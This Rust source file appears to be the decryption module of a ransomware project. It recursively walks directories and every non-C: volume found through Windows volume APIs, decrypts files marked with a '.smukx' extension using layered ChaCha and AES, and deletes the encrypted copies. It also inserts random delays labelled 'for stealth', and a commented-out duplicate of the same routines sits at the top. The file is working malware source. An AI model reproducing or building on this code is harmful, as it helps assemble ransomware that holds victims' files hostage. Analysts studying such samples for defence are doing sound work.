// use std::fs::File;
// use std::io::{Read, Write};
// use std::path::Path;
// use std::thread;
// use std::time::Duration;
// use crate::decrypt::{decrypt_aes, decrypt_chacha};
// use rand::Rng;
// use rayon::prelude::*;

// fn random_delay() {
//     let mut rng = rand::thread_rng();
//     let delay = rng.gen_range(10..100); //  delay between 10 to 100ms
//     std::thread::sleep(std::time::Duration::from_millis(delay));
// }

// pub fn recursive_decrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
//     if dir.is_dir() {
//         match std::fs::read_dir(dir) {
//             Ok(entries) => {
//                 entries.par_bridge().for_each(|entry| {
//                     random_delay(); // use the random delay here !
//                     match entry {
//                         Ok(entry) => {
//                             let path = entry.path();
//                             if path.is_dir() {
//                                 recursive_decrypt(&path, key, chacha_key, chacha_nonce);
//                             } else {
//                                 decrypt_file(&path, key, chacha_key, chacha_nonce);
//                             }
//                         }
//                         Err(e) => eprintln!("Failed to read entry: {}", e),
//                     }
//                 });
//             }
//             Err(e) => eprintln!("Failed to read directory '{}': {}", dir.display(), e),
//         }
//     }
// }

// fn decrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
//     if file_path.extension().and_then(|ext| ext.to_str()) != Some("smukx") {
//         return;
//     }

//     let mut file = match File::open(file_path) {
//         Ok(file) => file,
//         Err(_) => return,
//     };

//     let mut contents = Vec::new();
//     if file.read_to_end(&mut contents).is_err() {
//         return;
//     }

//     let decrypted_chacha = decrypt_chacha(&contents, chacha_key, chacha_nonce);
//     let decrypted_aes = decrypt_aes(&decrypted_chacha, key);

//     let mut original_file_path = file_path.to_path_buf();
//     original_file_path.set_extension("");  // Remove .smukx extension

//     let mut dec_file = match File::create(&original_file_path) {
//         Ok(file) => file,
//         Err(_) => return,
//     };
//     if dec_file.write_all(&decrypted_aes).is_err() {
//         return;
//     }

//     std::fs::remove_file(file_path).unwrap_or_else(|_| ());
// }

use std::ffi::OsString;
use std::fs::{read_dir, File};
use std::io::{Read, Write};
use std::os::windows::ffi::OsStringExt;
use std::path::Path;
use std::ptr::null_mut;
use std::thread;
use std::time::Duration;
use rand::Rng;
use rayon::prelude::*;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::fileapi::{FindFirstVolumeW, FindNextVolumeW, FindVolumeClose, GetVolumePathNamesForVolumeNameW};
use std::fs;

use crate::decrypt::{decrypt_aes, decrypt_chacha};

// Random delay for stealth
fn random_delay() {
    let mut rng = rand::thread_rng();
    let delay = rng.gen_range(10..100); // Random delay between 10ms and 100ms
    thread::sleep(Duration::from_millis(delay));
}

// Recursively decrypt files in a directory
pub fn recursive_decrypt(dir: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
    if dir.is_dir() {
        match read_dir(dir) {
            Ok(entries) => {
                entries.par_bridge().for_each(|entry| {
                    random_delay(); // Random delay
                    match entry {
                        Ok(entry) => {
                            let path = entry.path();
                            if path.is_dir() {
                                recursive_decrypt(&path, key, chacha_key, chacha_nonce); // Recurse into subdirectories
                            } else {
                                decrypt_file(&path, key, chacha_key, chacha_nonce);
                            }
                        }
                        Err(e) => eprintln!("Failed to read entry: {}", e),
                    }
                });
            }
            Err(e) => eprintln!("Failed to read directory '{}': {}", dir.display(), e),
        }
    }
}

fn decrypt_file(file_path: &Path, key: &[u8; 32], chacha_key: &[u8; 32], chacha_nonce: &[u8; 12]) {
    
    if file_path.extension().and_then(|ext| ext.to_str()) != Some("smukx") {
        return;
    }

    let mut file = match File::open(file_path) {
        Ok(file) => file,
        Err(_) => return,
    };

    let mut contents = Vec::new();
    if file.read_to_end(&mut contents).is_err() {
        return;
    }

    let decrypted_chacha = decrypt_chacha(&contents, chacha_key, chacha_nonce);
    let decrypted_aes = decrypt_aes(&decrypted_chacha, key);

    let mut original_file_path = file_path.to_path_buf();
    original_file_path.set_extension("");  // Remove .smukx extension

    let mut dec_file = match File::create(&original_file_path) {
        Ok(file) => file,
        Err(_) => return,
    };
    if dec_file.write_all(&decrypted_aes).is_err() {
        return;
    }

    fs::remove_file(file_path).unwrap_or_else(|_| ());
}

pub(crate) fn get_all_volumes() -> Vec<OsString>{

    let mut drive_letters = Vec::new();
    let mut volume_name: [u16; 260] = [0; 260];
    let mut path_name: [u16; 260] = [0; 260];

    unsafe{
        let volume_handle = FindFirstVolumeW(
            volume_name.as_mut_ptr(),
            260 as u32,
        );

        if volume_handle != null_mut(){
            loop{
                // let name_length = volume_name.iter().position(|&c| c == 0).unwrap_or(260);

                let result = GetVolumePathNamesForVolumeNameW(
                    volume_name.as_ptr(),
                    path_name.as_mut_ptr(),
                    260 as u32,
                    null_mut(),
                );

                if result != 0{
                    let mut start = 0;

                    while start < 260 {
                        let path_name_length = path_name[start..].iter().position(|&c| c == 0).unwrap_or(260);

                        if path_name_length == 0{
                            break;
                        }

                        let path_name = OsString::from_wide(&path_name[start..start + path_name_length]);

                        if !path_name.to_string_lossy().starts_with("C:\\") && !path_name.to_string_lossy().is_empty(){
                            drive_letters.push(path_name);
                        }

                        start += path_name_length + 1;

                    }
                }
                let find_next_volume = FindNextVolumeW(
                    volume_handle, 
                    volume_name.as_mut_ptr(),
                    260 as u32
                );

                if find_next_volume == 0{
                    if GetLastError() == 18{
                        break;
                    }
                }
            }
            FindVolumeClose(volume_handle);
        }
    }
    // At last return the drive letter 
    drive_letters

}
